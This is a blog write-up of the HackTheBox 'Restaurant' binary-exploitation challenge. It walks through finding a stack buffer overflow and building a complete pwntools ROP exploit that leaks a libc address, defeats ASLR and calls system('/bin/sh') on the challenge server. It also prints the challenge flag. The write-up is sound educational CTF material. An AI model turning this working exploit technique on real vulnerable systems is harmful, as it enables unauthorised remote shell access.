HackTheBox – Restaurant Write-up

Dear readers,

Today’s post is on the Restaurant challenge which is a pwn challenge which is also known as a binary exploitation challenge. The challenge was created on 27th February 2021. This challenge focuses on crafting ROP exploit so read on if you are interested. Let’s dive right into the write-up.

Fig 1. Restaurant Pwn challenge on HackTheBox

Files provided

There are two files being provided which are Unix files. You can download them here. That folder also contains the exploit script and analysis script I have written for this challenge. Besides giving us files, the IP address and the port number of the server that is hosting the restaurant are also given to us.

Outlook of the program

There are a total of 3 different pages when you run the program. The main page, the dishes page, and the drinks page. If you input any options in the dishes pages or the drinks page, a message will be printed and the program will exit. The weird question marks you see in the figures below are actually icons/emoji which my WSL Ubuntu can’t display.

Fig 2a. Main page of the restaurant program
Fig 2b. Dishes page of the restaurant program
Fig 2c. Dishes page’s result after choosing the first option
Fig 2d. Drinks page of the restaurant program
Fig 2e. Drinks page’s result after choosing the second option

Discover vulnerability

After loading up the restaurant file on Ghidra, which you can use any other reverse engineering tool, I had a quick look at the source code of the program and discovered a vulnerability. If we look at the fill() which is called from main(), we will notice that the program can read-in 0x400 bytes (1024 bytes) of data which is more than the local variable local_28 can handle (see Fig 3a). If we look at the assembly code section of the start of fill(), we will see that local_28 only has a size of 0x20 bytes (32 bytes) before it overwrites the stored previous base pointer (see red box in Fig 3b). Therefore, it can only take up to 0x28 bytes (40 bytes) before it overwrites the return (RET) address.

Fig 3a. Buffer overflow vulnerability discovered
Fig 2b. local_28 size and the maximum size before reaching RET

To further prove that it takes only 40 bytes to reach the RET address, we shall use GDB. We can first print 48 bytes of data as it is a 64-bit program hence each address is 8 bytes. Therefore, the return address is also 8 bytes. 40 bytes + 8 bytes = 48 bytes. To print 48 of letter ‘A’s, we can use Python as command as shown below.

> python -c "print('A'*48)"
// result: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Open up the program using GDB with the following command. Let the program run, press CTRL+C to end the program, then use “info file” to see the entry address.

> gdb ./restaurant
(gdb) r
🥡 Welcome to Rocky Restaurant 🥡

What would you like?
1. Fill my dish.
2. Drink something
> ^C
(gdb)info file

Once you run the command “info file”, you should see the entry point’s address which is 0x4006e0 (see Fig 2c).

Fig 2c. Entry point’s address of the restaurant program

Comparing it to the start() in Ghidra, we can see that they exactly match (see Fig 2d). Hence, we can use the address of before read() in fill() which is 0x400ecd and after read() in fill() which is 0x400ed2 to see the stack before and after we inject 48 bytes of ‘A’s (see Fig 2e).

Fig 2d. Start()‘s address shown in Ghidra
Fig 2e. Address of before and after read() in fill()

Setting the breakpoints using the following commands:

(gdb) b *0x400ecd
Breakpoint 1 at 0x400ecd
(gdb) b *0x400ed2
Breakpoint 2 at 0x400ed2

Input the “r” command to run the program and navigate to the dishes page. The first breakpoint at 0x400ecd should be triggered. Input x/20x $rsp to see the content in the stack. You should be able to see the address of the instruction after fill() is called (compare address in the red box in Fig 2f to Fig 2g).

Fig 2f. Stack before corruption showing the return address
Fig 2g. Address after fill() which the return address of fill() should be its address

Once we continue execution, input our 48 ‘A’s, and analyze the stack again, it should show that it is now corrupted with 0x41 which is the hexadecimal of ASCII letter ‘A’ (see Fig 2h). If we continue execution, a segmentation fault error message will be displayed to us.

Fig 2h. Overflowed stack overflowed RET causes the crash

We can consider a ret2libc attack via shellcode on the stack. However, when we use the tool checksec, which comes with pwntools if you have installed pwntools, we will see that NX is true hence the stack is non-executable. Thus, we can consider using Return-Oriented Programming (ROP). Here are two different good sources you can look at before we go on to the ROP section: blog and video.

> checksec --file ./restaurant
[*] '/home/soulx/documents/CTF/HackTheBox/Pwn/pwn_restaurant/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Crafting ROP exploit to get shell

All ROP exploits have the same procedure to counter the libc in the server that has ASLR enabled. They are:

  1. Craft ROP exploit to leak any library function’s address
  2. Find the libc version used (We can ignore this for this challenge since the libc is given)
  3. Calculate and set the ASLR base address of libc in the server
  4. Craft ROP exploit to system call Bash

Before we begin, please make sure you have installed Python3 and pwntools. Python allows us to code exploits faster and pwntools will make the creation of ROP easier than the traditional way.

1. Craft ROP exploit to leak any library function’s address

Firstly, we can create ELF objects for both of the files given to us. This will be useful for us to obtain the content in it easier. We can then create the overflow string such that it overflows until it reaches right before the RET address’s location. For the challenge, I used 40 letters ‘A’s. Remember to also set the context’s architecture so that pwntools knows what is the architecture, analysis and creates the ROP exploit accordingly. Finally, we can connect to the server using remote().

from pwn import *

context.arch = 'amd64'

# create ELF object of the challenge's files we want to exploit
elf = ELF("./restaurant")
libc = ELF("./libc.so.6")

# offset before hitting the return address
overflow = b'A' * 40

# connect to server
r = remote('138.68.182.108', 31431)

Remember there are a lot of messages being printed and we will only require to input something when the string “>” appears? (see Fig 2a to 2e) We can easily ignore those strings that the server sends to us and reply when “>” appears using sendlineafter(). To go to the dishes page which contains the vulnerability, we will need to reply string “1” since we will be at the 1st page when we connect to the server.

# once reach ">" then we choose the 1st option to go the the vulnerable page
r.sendlineafter("> ", "1")

Next, we have to create an object of the ROP class by pwntools (shown below). We will be creating an ROP for the restaurant file. We have to first print an “\n” which you can also use “” for puts() since puts() auto append “\n”. This will allow us to obtain the server’s address for elf.got[‘puts’] in a new line or else it will be printed at the same line as “Enjoy your AAAA…”. You can see more details of it in my other blog post in section “Newline character in needhere. If you have seen this blog on ROP, you will notice that he searched for a gadget with the instruction “POP RDI”. If you remember for x64 assembly, the 1st parameter to pass to a function/routine is to use register RDI as a parameter. Therefore, to call puts(), we will need to load the string “” into the stack first. So when “POP RDI” is called, the address of the string “” will be popped from the stack and store in the register RDI. Careful construction of the ROP chain will be needed if we do it manually like that blog. However, using rop.call() allows the whole process to be simpler. The rop.call() will automatically find the gadget(s) required based on the number of parameters we have. So let’s say for the code below. The 2nd parameter in call() which is a list, will let pwntools know that there are how many parameters for puts(). Based on the number of parameters, it will search for gadgets such as “POP RDI”, “POP RSI”, etc, accordingly, and slot in the address in the right order.

rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])

The right order I am referring to is the addresses must in place in the correct order where it is the overflow of “A”s 1st, then the address to the “POP RDI; RET” gadget, then address to the string “”, and finally the address of puts() in the PLT. As such, the return address in fill() will be overwritten with the address of the “POP RDI; RET” gadget so that it will return/jump to that gadget. When jumped to that gadget, the address of the gadget will be pop off from the stack, leaving the address of the string “” to be on top of the stack. Instruction “POP RDI” will pop the address of the string “” from the stack into RDI, then return to the end of fill() before calling puts() to print the string “”.

Fig 3a. ROP chain placed on stack

After setting up ROP gadgets to print the NULL string, we will now need to create gadgets to print the address of puts() in the libc of the server as the address will be different from ours due to libc version and ASLR. By putting the parameter of puts() with the address to Global Offset Table (GOT)’s puts(), we will be able to print out the address of puts() in the server. Finally, we will add the address of fill() using elf.symbols[‘fill’] into our ROP chain so that fill() will start from the top again for our 2nd ROP exploit. But before we call fill(), we have to make sure that our gadgets are aligned to 16 bytes which the start of Ubuntu 18 requires it. Therefore, I added a dummy gadget that just returns/calls to a gadget with only the “RET” instruction which does nothing so that my whole ROP chain is well aligned. To see if it is well aligned, use the rop.dump() (see Fig 3b). If it is well aligned, your last instruction should be at 0x0038 which each 64-bits instruction is 8 bytes (64bits / 8bits/byte = 8bytes), causing your ROP chain to actually fill up 0x40 bytes (well 16 bytes aligned).

# setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR)
rop_elf = ROP(elf)
# to print the leaked address in a new line
rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])
# puts() will be called and print the address stored in elf.got['puts']
rop_elf.call(elf.plt['puts'], [elf.got['puts']])
# for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes. Use print(rop_elf.dump()) to see the alignment
rop_elf.call((rop_elf.find_gadget(["ret"]))[0])
# Goes back to fill() so that we can setup our next ROP.
rop_elf.call(elf.symbols['fill'])

# combine into usable payload
rop_get_libc_aslr_addr = overflow + rop_elf.chain()
# see the alignment of the ROP exploit
log.info(rop_elf.dump())
Fig 3b. ROP dump which shows stack well aligned

We can then send out our crafted ROP. Note that we will need to ignore the 1st 3 incoming sentences sent from the server as there is an empty line and the message to tell us to enjoy it (see Fig 2c) since we added “\n” by calling puts(“”). The 4th message will then be the leaked, a.k.a. the actual puts()‘s address in the server that has ASLR enabled. ljust() will be useful as it helps us to pad “0x00” in-front if needed to make sure the address we store is in 8 bytes since it is a 64-bits program.

# exploit the vulnerability to print out the ASLR address of puts() in libc in the server
r.sendlineafter(">", rop_get_libc_aslr_addr)
# ignore the empty space printed to us
r.recvuntil("\n")
# need to ignore the first line statement printed to use as is by the program to tell us "Enjoy your <input value>" before reaching RET
r.recvuntil("\n")
# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))

2. Find the libc version used (We can ignore this for this challenge since the libc is given)

Usually, for ROP, the next step is to find the version of libc being used. Since the file libc.so.6 is given to use by the challenge, we will not need to find the version. That is why I previously already created the ELF object of libc.so.6. Usually, the version of the libc can be guessed from this website, https://libc.blukat.me/, or via pwnscripts.

libc = ELF("./libc.so.6")

3. Calculate and set the ASLR base address of libc in the server

The base address of libc can be calculated using the formula below:

# elf_libc.symbols['puts'] gives us the offset to it instead of the relative address of puts()'s location in local's libc
server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts']
log.info("Leaked server's libc address, puts(): " + hex(server_libc_base_addr))

libc.address = server_libc_base_addr

Unlike elf.symbols that give us the exact address of each function in the elf file which is the restaurant, symbols in libc (libc.symbols) contains offsets to the function from address 0x00000000. Therefore, subtracting away the offset gives us the base address. We can then overwrite the libc’s stored address to this new base address so our 2nd ROP will all reference to the correct address meant for the server and not our reference to our local libc’s address.

4. Craft ROP exploit to system call Bash

Finally, we can craft the 2nd ROP using the libc reference to the current server’s ASLR based address for libc. Similarly, alignment is a must which can be seen using rop_libc.dump() to check if alignment is made. String for “/bin/sh\x00” is then searched in the libc before we added into the ROP chain. Finally, the address of system() in libc can be address directly from the symbol since our libc’s base address is changed to the server’s current libc base address. The full ROP can be constructed and send to the server when we receive string “>” from the server. Switching to interactive mode allows us to use the shell generated on the server.

# Craft sys call to /bin/sh.
rop_libc = ROP(libc)
# for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes. Use print(rop_libc.dump()) to see the alignment
rop_libc.call((rop_libc.find_gadget(["ret"]))[0])
rop_libc.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])

# combine into usable payload
rop_get_bash_exploit = overflow + rop_libc.chain()
log.info(rop_libc.dump())

# exploit the vulnerability to print out the ASLR address of puts() in libc in the server
r.sendlineafter(">" ,rop_get_bash_exploit)

r.interactive()

You can get the full source code for the exploit here.

Flag obtained

Flag: HTB{r3turn_2_th3_r3st4ur4nt!}

Fig 4. Flag obtained from the server

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.